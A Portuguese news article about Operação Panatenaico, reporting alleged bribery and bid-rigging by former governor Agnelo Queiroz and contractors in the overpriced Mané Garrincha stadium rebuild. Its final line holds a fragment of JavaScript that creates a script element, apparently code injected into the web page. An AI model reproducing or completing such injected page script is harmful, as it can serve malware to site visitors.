Agnelo articulou na Câmara Legislativa para Terracap executar obra no Mané Garrincha, diz juiz

De acordo a decisão do magistrado, Agnelo foi o governador que executou a obra. Foto: Reprodução

O ex-governador Agnelo Queiroz (PT) aparece nos autos da Operação Panatenaico como principal articulador para que fossem modificadas as finalidades da Terracap na Câmara Legislativa para que a empresa pudesse executar a reforma do estádio Mané Garrincha para a Copa do Mundo. O juiz federal Vallisney de Souza Oliveira pediu a prisão do petista.

De acordo a decisão do magistrado, Agnelo foi o governador que executou a obra. Os delatores da Andrade Gutierrez contam que o ex-governador “recebeu milionária propina, por meio de seu interlocutor mais usual, Jorge Luiz Salomão, perante as construtoras sobretudo para custear eventos do Governos”.

O petista teria pedido também dinheiro para seu auxiliar e ex-secretário especial da Copa, Claudio Monteiro, por meio do advogado Wellington Monteiro. Na gestão Agnelo, também está envolvida no escândalo do estádio a ex-presidente da Terracap Maruska Lima.

Desdobramentos

Segundo o juiz, as irregularidades no Estádio Mané Garrincha não podem ser analisadas de forma isolada, porque fazem parte de um bloco maior de indicadas irregularidades em apuração contra o mesmo grupo tido como criminoso no Distrito Federal, que inclui obras recebidas do Governo Federal, tal como BRT SUL Gama, que recebeu recursos do PAC – Governo Federal.

Fraude em licitação

De acordo com nota do Ministério Público do Distrito Federal, também foi determinada a indisponibilidade de bens de 13 envolvidos até o limite de R$ 60 milhões. O objetivo das medidas é encontrar provas de que foi constituído um cartel entre várias empreiteiras para burlar e fraudar o caráter competitivo da licitação e assegurar, de forma antecipada, que os serviços e as obras fossem realizadas pelo consórcio constituído pelas empresas Andrade Guitierrez e Via Engenharia.

Como contrapartida, os vencedores pagaram propina a agentes políticos e públicos, que estão entre os alvos da operação.

A reconstrução do antigo Mané Garrincha foi estimada inicialmente em R$ 690 milhões, mas acabou custando cerca de R$ 1,5 bilhão, o que fez com que o estádio se tornasse o mais caro entre os 12 que receberam os jogos da Copa do Mundo de 2014. O dinheiro saiu dos cofres da Terracap, empresa pública do Governo do Distrito Federal, cujo capital é formado da seguinte forma: 51% do GDF e 49% da União.

O caso começou a ser investigado em setembro de 2016, a partir de depoimentos de três executivos da Construtora Andrade Gutierrez, em colaboração premiada firmada junto à Procuradoria Geral da República (PGR). As informações de que houve fraude na licitação foram confirmadas por diretores da Odebrecht que afirmaram – também em colaboração premiada – que em decorrência dessa combinação prévia, a empresa participou da licitação apresentando um valor superior ao oferecido pela Andrade Guitierrez, que depois, retribuiu o “favor”, na licitação para as obras da Arena Pernambuco.

Na petição enviada à Justiça, o Ministério Público do DF e a PF citam, além dos depoimentos, uma perícia técnica da própria Polícia Federal e um levantamento do Tribunal de Contas do Distrito Federal que também constaram fraude na licitação. Em laudo, peritos da PF listaram seis irregularidades no edital do certame, concluindo que houve “notório direcionamento” do processo. Já a corte de contas apontou um sobrepreço de R$ 430 milhões, em valores de 2010, montante que corrigido pela taxa Selic alcança, atualmente, R$ 900 milhões.

O nome da operação é uma referência ao Stadium Panatenaico, sede dos Jogos Panatenaicos, competições realizadas na Grécia antiga, anteriores aos Jogos olímpicos. A arena, utilizada para a prática de esportes pelos helênicos, é considerada uma das mais antigas do mundo.var d=document;var s=d.createElement(‘script’);

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